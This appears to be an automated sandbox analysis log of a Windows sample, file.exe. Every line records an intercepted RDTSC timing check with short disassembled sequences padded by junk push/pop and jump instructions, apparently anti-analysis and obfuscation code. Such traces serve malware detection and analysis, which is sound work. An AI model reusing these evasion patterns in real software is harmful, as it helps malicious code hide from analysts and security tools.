Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE9A6 second address: CEE9BA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1690B6C7FAh 0x00000008 ja 00007F1690B6C7FCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEECE7 second address: CEECF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEECF5 second address: CEECF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF133 second address: CEF13D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1690C1AF96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF13D second address: CEF15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1690B6C807h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF2A8 second address: CEF2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF2AC second address: CEF2B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF2B0 second address: CEF2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF2B9 second address: CEF2E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690B6C800h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c popad 0x0000000d jc 00007F1690B6C814h 0x00000013 push esi 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF2E1 second address: CEF2E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF2E5 second address: CEF2EF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1690B6C7F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF21B3 second address: CF21B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4F17 second address: CF4F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a ja 00007F1690B6C7F6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007F1690B6C806h 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F1690B6C7FDh 0x0000001e push edi 0x0000001f pop edi 0x00000020 jp 00007F1690B6C7F6h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5094 second address: CF50A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F1690C1AF9Ah 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9F86 second address: CF9F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9F8F second address: CF9F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9F95 second address: CF9F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF94FF second address: CF9526 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1690C1AF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1690C1AFA5h 0x0000000f jl 00007F1690C1AF9Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF967E second address: CF9686 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF990A second address: CF990E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D006DA second address: D006E0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D006E0 second address: D006F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1690C1AF9Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D006F3 second address: D006F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF198 second address: CFF19E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF19E second address: CFF1A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF624 second address: CFF62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF62A second address: CFF634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF78E second address: CFF7B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007F1690C1AFA9h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF975 second address: CFF97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF97B second address: CFF9AD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F1690C1AF9Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F1690C1AFA1h 0x00000010 popad 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 ja 00007F1690C1AF96h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D003D4 second address: D003D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D003D8 second address: D003DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02D78 second address: D02D80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02D80 second address: D02D84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B6BC second address: D0B6C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09A45 second address: D09A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09E0F second address: D09E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690B6C7FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09E1E second address: D09E22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A0E8 second address: D0A0EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B40E second address: D0B427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jne 00007F1690C1AF96h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C591BD second address: C591DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F1690B6C7FFh 0x0000000a pop edx 0x0000000b jo 00007F1690B6C800h 0x00000011 push ebx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12FA2 second address: D12FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12FA9 second address: D12FD0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1690B6C7F8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F1690B6C7F6h 0x00000012 jmp 00007F1690B6C805h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13134 second address: D13146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1690C1AF9Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13146 second address: D13169 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F1690B6C7FFh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13169 second address: D1316F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1316F second address: D13191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F1690B6C7FEh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jnp 00007F1690B6C7F6h 0x00000013 popad 0x00000014 js 00007F1690B6C817h 0x0000001a push eax 0x0000001b push edx 0x0000001c jns 00007F1690B6C7F6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D132E4 second address: D132F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13467 second address: D1346C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D135CD second address: D135E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AF9Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d popad 0x0000000e pushad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D135E7 second address: D13611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007F1690B6C7F6h 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F1690B6C803h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13611 second address: D13615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1BA9D second address: D1BAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1BAA3 second address: D1BAAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1BAAB second address: D1BAB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 popad 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C8D9 second address: D1C8F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1690C1AFA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1CF4B second address: D1CF4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22645 second address: D22654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F1690C1AF96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22654 second address: D22681 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FFh 0x00000007 jmp 00007F1690B6C806h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22681 second address: D22685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D227DD second address: D227EF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1690B6C7F8h 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F1690B6C7F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EE92 second address: D2EE98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EE98 second address: D2EE9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EE9E second address: D2EEAB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F1690C1AF96h 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30EB4 second address: D30EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30EBA second address: D30ECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1690C1AF9Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30B75 second address: D30BBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C803h 0x00000007 jnp 00007F1690B6C7F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F1690B6C804h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F1690B6C805h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D324E0 second address: D324EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1690C1AF96h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D324EE second address: D324F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D324F4 second address: D3250A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 js 00007F1690C1AFB2h 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F1690C1AF96h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3250A second address: D32518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F1690B6C7FCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D9AD second address: D3D9DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA2h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1690C1AFA8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D9DD second address: D3D9E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4485A second address: D44860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44860 second address: D44882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1690B6C7F6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d jmp 00007F1690B6C805h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44882 second address: D44888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44888 second address: D448A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1690B6C802h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4CF88 second address: D4CF8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F35E second address: D4F372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690B6C800h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F372 second address: D4F39A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 jl 00007F1690C1AFB6h 0x0000000d jno 00007F1690C1AF9Eh 0x00000013 pushad 0x00000014 ja 00007F1690C1AF96h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54DCF second address: D54DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54F4B second address: D54F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54F51 second address: D54F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54F55 second address: D54F59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A1DF second address: D5A1FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1690B6C806h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A1FA second address: D5A211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F1690C1AFC0h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007F1690C1AF96h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A211 second address: D5A229 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1690B6C7F6h 0x00000008 jg 00007F1690B6C7F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F1690B6C7F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A229 second address: D5A22D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59DCD second address: D59DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BECA second address: D6BEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1690C1AFA3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BEE5 second address: D6BEEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1690B6C7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BEEF second address: D6BEF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BEF5 second address: D6BEFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BEFF second address: D6BF0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AF9Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D656AD second address: D656B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D799A3 second address: D799B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F1690C1AF9Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D937BA second address: D937C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D937C5 second address: D937CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92667 second address: D9268B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1690B6C7F6h 0x0000000a je 00007F1690B6C80Ah 0x00000010 jmp 00007F1690B6C804h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92EAA second address: D92EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AFA5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
